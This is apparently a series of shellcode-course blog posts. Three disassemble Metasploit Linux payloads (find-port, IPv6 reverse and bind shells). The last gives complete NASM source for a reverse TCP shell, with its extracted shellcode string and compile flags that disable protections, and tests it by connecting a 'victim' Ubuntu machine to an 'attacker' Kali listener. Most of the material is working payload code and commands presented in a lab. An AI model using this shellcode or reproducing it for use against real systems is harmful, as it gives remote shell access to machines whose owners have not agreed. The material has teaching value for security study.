AdSense

Tuesday, March 8, 2016

5.3 - Analyzing Shell Find Port


5.3 - SHELL FIND PORT

- shell_find_port looks for an established connection and spawn a shell over that connection.

- First, the ndisasm command disassembles the payload, outputting the corresponding assembly language instructions and its opcodes:

root@kali:~# msfvenom -p linux/x86/shell_find_port R |ndisasm -u -

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 62 bytes

00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  89E7              mov edi,esp
00000005  6A10              push byte +0x10
00000007  54                push esp
00000008  57                push edi
00000009  53                push ebx
0000000A  89E1              mov ecx,esp
0000000C  B307              mov bl,0x7
0000000E  FF01              inc dword [ecx]
00000010  6A66              push byte +0x66
00000012  58                pop eax
00000013  CD80              int 0x80
00000015  66817F02631A      cmp word [edi+0x2],0x1a63
0000001B  75F1              jnz 0xe
0000001D  5B                pop ebx
0000001E  6A02              push byte +0x2
00000020  59                pop ecx
00000021  B03F              mov al,0x3f
00000023  CD80              int 0x80
00000025  49                dec ecx
00000026  79F9              jns 0x21
00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f
0000002E  682F62696E        push dword 0x6e69622f
00000033  89E3              mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1              mov ecx,esp
00000039  99                cdq
0000003A  B00B              mov al,0xb
0000003C  CD80              int 0x80


- Let's run the sctest command:





- The shell_find_port_dot is converted into shell_find_port.png:





- The syscall called is getpeername(): gets name of connected peer socket. 
































5.2 - Analyzing Reverse IPv6 TCP


5.2 - REVERSE IPv6 TCP


- The shellcode analyzed in this excersise is reverse_ipv6_tcp, which purpose is to spawn a command shell and connect back to the attacker over IPv6 protocol.

- First, the ndisasm command disassembles the payload outputting the corresponding assembly language instructions and its opcodes:

root@kali:~# msfvenom -p linux/x86/shell/reverse_ipv6_tcp R |ndisasm -u -

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 77 bytes

00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  43                inc ebx
00000004  53                push ebx
00000005  6A0A              push byte +0xa
00000007  89E1              mov ecx,esp
00000009  6A66              push byte +0x66
0000000B  58                pop eax
0000000C  CD80              int 0x80
0000000E  96                xchg eax,esi
0000000F  99                cdq
00000010  6800000000        push dword 0x0
00000015  68C0A8010C        push dword 0xc01a8c0
0000001A  6800005EFE        push dword 0xfe5e0000
0000001F  6800000000        push dword 0x0
00000024  68FE800000        push dword 0x80fe
00000029  52                push edx
0000002A  6668115C          push word 0x5c11
0000002E  66680A00          push word 0xa
00000032  89E1              mov ecx,esp
00000034  6A1C              push byte +0x1c
00000036  51                push ecx
00000037  56                push esi
00000038  89E1              mov ecx,esp
0000003A  43                inc ebx
0000003B  43                inc ebx
0000003C  6A66              push byte +0x66
0000003E  58                pop eax
0000003F  CD80              int 0x80
00000041  89F3              mov ebx,esi
00000043  B60C              mov dh,0xc
00000045  B003              mov al,0x3
00000047  CD80              int 0x80
00000049  89DF              mov edi,ebx
0000004B  FFE1              jmp ecx


- Launching the sctest command from libemu tools the emulation begins, and finally two syscalls, socket() and connect() are displayed:




- The image reverse_ipv6.dot is converted into reverse_ipv6.png:






- reverse_ipv6.png displays the phases of the shellcode, and the syscalls socket() and connect():

















































5.1 - Analyzing Bind IPv6 TCP


                                                           5.1 - BIND IPV6 TCP

- The shellcode analyzed in this excersise is bind_ipv6_tcp, which function is to spawn a command shell listening for an IPv6 connection. 

- First, the ndisasm command disassembles the payload outputting the corresponding assembly language instructions and its opcodes:

root@lic:/home/roch# msfvenom -p linux/x86/shell/bind_ipv6_tcp R | ndisasm -u -

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 120 bytes

00000000  6A7D              push byte +0x7d
00000002  58                pop eax
00000003  99                cdq
00000004  B207              mov dl,0x7
00000006  B900100000        mov ecx,0x1000
0000000B  89E3              mov ebx,esp
0000000D  6681E300F0        and bx,0xf000
00000012  CD80              int 0x80
00000014  31DB              xor ebx,ebx
00000016  F7E3              mul ebx
00000018  53                push ebx
00000019  43                inc ebx
0000001A  53                push ebx
0000001B  6A0A              push byte +0xa
0000001D  89E1              mov ecx,esp
0000001F  B066              mov al,0x66
00000021  CD80              int 0x80
00000023  51                push ecx
00000024  6A04              push byte +0x4
00000026  54                push esp
00000027  6A02              push byte +0x2
00000029  6A01              push byte +0x1
0000002B  50                push eax
0000002C  97                xchg eax,edi
0000002D  89E1              mov ecx,esp
0000002F  6A0E              push byte +0xe
00000031  5B                pop ebx
00000032  6A66              push byte +0x66
00000034  58                pop eax
00000035  CD80              int 0x80
00000037  97                xchg eax,edi
00000038  83C414            add esp,byte +0x14
0000003B  59                pop ecx
0000003C  5B                pop ebx
0000003D  5E                pop esi
0000003E  6A02              push byte +0x2
00000040  5B                pop ebx
00000041  52                push edx
00000042  52                push edx
00000043  52                push edx
00000044  52                push edx
00000045  52                push edx
00000046  52                push edx
00000047  680A00115C        push dword 0x5c11000a
0000004C  89E1              mov ecx,esp
0000004E  6A1C              push byte +0x1c
00000050  51                push ecx
00000051  50                push eax
00000052  89E1              mov ecx,esp
00000054  6A66              push byte +0x66
00000056  58                pop eax
00000057  CD80              int 0x80
00000059  D1E3              shl ebx,1
0000005B  B066              mov al,0x66
0000005D  CD80              int 0x80
0000005F  50                push eax
00000060  43                inc ebx
00000061  B066              mov al,0x66
00000063  895104            mov [ecx+0x4],edx
00000066  CD80              int 0x80
00000068  93                xchg eax,ebx
00000069  B60C              mov dh,0xc
0000006B  B003              mov al,0x3
0000006D  CD80              int 0x80
0000006F  87DF              xchg ebx,edi
00000071  5B                pop ebx
00000072  B006              mov al,0x6
00000074  CD80              int 0x80
00000076  FFE1              jmp ecx


- Using the sctest command, from libemu tools, the shellcode is emulated, and also a graphic file is created:











- The created image ot the process, bind_nonx_tcp.dot, is converted to bind_nonx_tcp.png format:







- The bind_ipv6_tcp.png image displays the four phases of the program, according to the syscalls socket, bind, listen and accept, in combination with the assembly code associated:

socke()t: creates an endpoint for communication
bind(): binds an address to a socket
listen():listens for connections on a socket
accept(): accepts a connection on a socket

- The last phase execeve() is not displayed because the shell has not been spawn in this exercise:











Sunday, March 6, 2016

2 - Shell Reverse TCP shellcode


2 - SHELL REVERSE TCP

1 - INTRODUCTION

The goal of this exercise is to launch an attack against an Ubuntu Linux machine by developing a Shell Reverse TCP shellcode. This program will be executed inside the victim machine, while a remote attacker Linux Kali listens on a specific port. Once the connection is established, the attacker Kali will enjoy a shell from Ubuntu ,opened in its command line interpreter.

Port binding shellcodes are usually discovered by firewalls, because inbound connections are thoroughly examined and filtered. However, firewalls don't filter outbound connections with the same frequency and intensity, because it would affect performance. Due to this fact, outbound connections started from the inside are more successful. In other words, Shell Reverse shellcodes are more effective than attacks based on Port binding.

The assembly program Shell_Reverse_TCP.nasm follows 4 steps:

a) CREATE a TCP socket.
b) CONNECT the socket to an IP address and a TCP port.
c) REDIRECT accepted socket to standard streams.
d) EXECUTE a shell (for instance, the /bin/bash).

All of these steps are performed with Linux syscalls, available for working with sockets on IA-32 (Intel Architecture 32 bits) machines.

The main difference with the former program (A1 - Shell Bind TCP) is the utilization of the connect() function, being the rest of the steps pretty similar.

2 - WRITING THE PROGRAM STEP BY STEP

Let's review the Shell_Reverse_TCP.nasm program step by step:

a) CREATE a TCP socket

- a socket is created with socket() function, as done in previous example (A1 - Shell Bind TCP) :

global _start
section .text
_start:

; int socket(int domain, int type, int protocol)
xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x1 ; 1 for SYS_SOCKET

xor ecx,ecx ; zeroize ecx
push ecx ; 0 for protocol (IPPROTP_IP = IP protocol)
push 0x1 ; 1 for type (SOCK_STREAM = TCP protocol)
push 0x2 ; 2 for domain (AF_INET = IPv4)

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed

xor edi, edi ; zeroize edi
mov edi, eax ; file descriptor of the socket is saved into edi

b) CONNECT the socket to an IP address and a TCP port

- connect() function is used to establish a connection between two endpoints. The parameters of connect() are the same to bind(), with the only difference that syn_addr parameter must be specified for connect().

- In this case, the remote IP address to establish the connection is 192.168.1.12 (\0xc0\0xa8\0x01\0x0c).

- It will be pushed onto the stack in reverse order (0x0c01a8c0) as a parameter for connect().

root@lic:/# man connect

NAME connect - initiate a connection on a socket
SYNOPSIS int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
DESCRIPTION The connect() system call connects the socket referred to by the file descriptor sockfd to the address specified by addr. The addrlen argument specifies the size of addr. The format of the address in addr is determined by the address space of the socket sockfd.

- the identifier for the syscall SYS_CONNECT is 3:

root@lic:/usr/include/linux# cat net.h
#define SYS_CONNECT 3 /* sys_connect(2) */

- The section of the program for establishing the connection:

; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x3 ; 3 for SYS_CONNECT

push 0x0c01a8c0 ; sin_addr = 192.168.1.12, pushed in reverse order onto the stack
push word 0xe007 ; port 2016 (0x07e0), according to Network Byte Order 0xe007
push word 0x2 ; sin_family = AF_INET=2

mov ecx,esp ; pointer to sockaddrr is moved to ecx

push 0x10 ; 16 Bytes (0x10) of lenght
push ecx ; pointer to sockaddr
push edi ; file descriptor of the socket to bind

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed

c) REDIRECT to standard streams

- The accepted socket file descriptor is redirected to the standard streams: stdin(0), stdout(1), stderr(2), as done at previous case (Shell Bind TCP), with the syscall dup2():

; int dup2(int oldfd, int newfd)

xor ecx,ecx ; zeroize ecx
mov cl,0x2 ; initializing ecx as a counter with 2

redirect:
xor eax,eax ; zeroize eax
mov al,0x3f ; 0x3f = 63 identifier for dup2()
int 0x80 ; syscall is executed
dec ecx ; decreasing by 1 the counter
jns redirect ; the loop ends up when the counter reaches -1

d) EXECUTE /bin/bash

- Finally, the program executes a /bin/bash shell with execve():

; int execve(const char *filename, char *const argv[], char *const envp[])

xor eax,eax ; zeroize eax
push eax ; 0x0 is pushed onto the stack
push 0x68736162 ; hsab
push 0x2f6e6962 ; /nib
push 0x2f2f2f2f ; ////

mov ebx,esp ; filename is moved to ebx

push eax ; eax contains 0x0
mov edx,esp ; 0x0 is moved to edx
push ebx ; address of filename pushed onto the stack
mov ecx,esp ; address of filename moved to ecx
mov al,0xb ; 11 = 0xb identifier for execve()
int 0x80 ; syscall executed

- The whole program Shell_Reverse_TCP.nasm:

global _start
section .text
_start:
; int socket(int domain, int type, int protocol)
xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x1 ; 1 for SYS_SOCKET

xor ecx,ecx ; zeroize ecx
push ecx ; 0 for protocol (IPPROTP_IP = IP protocol)
push 0x1 ; 1 for type (SOCK_STREAM = TCP protocol)
push 0x2 ; 2 for domain (AF_INET = IPv4)

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed

xor edi, edi ; zeroize edi
mov edi, eax ; file descriptor of the socket is saved into edi

; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

xor eax,eax ; zeroize eax
mov al,0x66 ; socketcall() identifier = 0x66 = 102

xor ebx,ebx ; zeroize ebx
mov bl,0x3 ; 3 for SYS_CONNECT

push 0x0c01a8c0 ; sin_addr = 192.168.1.12
push word 0xe007 ; port 2016 (0x07e0), according to Network Byte Order 0xe007
push word 0x2 ; sin_family = AF_INET=2

mov ecx,esp ; pointer to sockaddrr is moved to ecx

push 0x10 ; 16 Bytes (0x10) of lenght
push ecx ; pointer to sockaddr
push edi ; file descriptor of the socket to bind

mov ecx,esp ; content of esp (pointer to the arguments) is moved to ecx
int 0x80 ; syscall executed
; int dup2(int oldfd, int newfd)

xor ecx,ecx ; zeroize ecx
mov cl,0x2 ; initializing ecx as a counter with 2

redirect:
xor eax,eax ; zeroize eax
mov al,0x3f ; 0x3f = 63 identifier for dup2()
int 0x80 ; syscall is executed
dec ecx ; decreasing by 1 the counter
jns redirect ; the loop ends up when the counter reaches -1

; int execve(const char *filename, char *const argv[], char *const envp[])

xor eax,eax ; zeroize eax
push eax ; 0x0 is pushed onto the stack
push 0x68736162 ; hsab
push 0x2f6e6962 ; /nib
push 0x2f2f2f2f ; ////

mov ebx,esp ; filename is moved to ebx

push eax ; eax contains 0x0
mov edx,esp ; 0x0 is moved to edx
push ebx ; address of filename pushed onto the stack
mov ecx,esp ; address of filename moved to ecx
mov al,0xb ; 11 = 0xb identifier for execve()
int 0x80 ; syscall executed


3 - ASSEMBLING, LINKING, EXTRACTING

- Assembling Shell_Bind_TCP.nasm:

root@lic:/home/daniel/Desktop/SLAE_2# nasm -f elf32 -o Shell_Reverse_TCP.o Shell_Reverse_TCP.nasm

- Linking Shell_Bind_TCP.nasm:

root@lic:/home/daniel/Desktop/SLAE_2# ld -o Shell_Reverse_TCP Shell_Reverse_TCP.o

- Extracting the shellcode from Shell_Bind_TCP.nasm:

root@lic:/home/daniel/Desktop/SLAE_2
# objdump -d ./Shell_Reverse_TCP|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x31\xff\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x03\x68\xc0\xa8\x01\x0c\x66\x68\x07\xe0\x66\x6a\x02\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf7\x31\xc0\x50\x68\x62\x61\x73\x68\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x2f\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

4 - TESTING

Two computers are used for testing this exercise. On the one hand, the program is executed within the victim, an Ubuntu machine. On the other hand, a remote Kali attacker machine listens on the 2016 port:

- Ubuntu 12.04 (32 bits) with IP 192.168.1.10:

root@lic:/home/daniel/Desktop/SLAE_1# ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:8d:a2:b4
inet addr:192.168.1.10 Bcast:192.168.1.255 Mask:255.255.255.0

- Kali (32 bits) with IP 192.168.1.12:

root@kali:~# ifconfig
eth0 Link encap:Ethernet HWaddr 08:00:27:ee:c4:8b
inet addr:192.168.1.12 Bcast:192.168.1.255 Mask:255.255.255.0


- Creating ShellcodeTest.c:

root@lic:/home/daniel/Desktop/SLAE_2# sudo gedit ShellcodeTest.c




- Compiling ShellcodeTest.c:

root@lic:/home/daniel/Desktop/SLAE_2# gcc -fno-stack-protector -z execstack ShellcodeTest.c -o ShellcodeTest

- From remote Kali (attacker), the nc tool is launched, listening on port 2016:


- From Ubuntu (victim), the shellcode ShellcodeTest is executed:






- Now, a shell from Ubuntu is opened at Kali machine, being the attack successful:





5 - IP ADDRESS AND PORT CONFIGURATION

- One of the possible ways to make the IP address and the TCP port easily configurable would be to convert those two number into predefined macros.

- For instance, let's take the IP adress 192.168.1.12 and the TCP port 9000. Predefining two macros:

#define IP_ADRESS "\xc0\xa8\x01\x0c"
#define PORT "\x23\x28"

- Rewriting ShellcodeTest.c:

root@lic:/home/daniel/Desktop/SLAE_2# sudo gedit ShellcodeTest.c




- Compiling ShellcodeTest.c:


root@lic:/home/daniel/Desktop/SLAE_2# gcc -fno-stack-protector -z execstack ShellcodeTest.c -o ShellcodeTest

- Now, listening from Kali (attacker) on port 9000:



- Executing ShellcodeTest.c from Ubuntu (victim):


- The attack is successful, because the attacker Kali is able to open remotely a "/bin/bash" shell from the victim Ubuntu: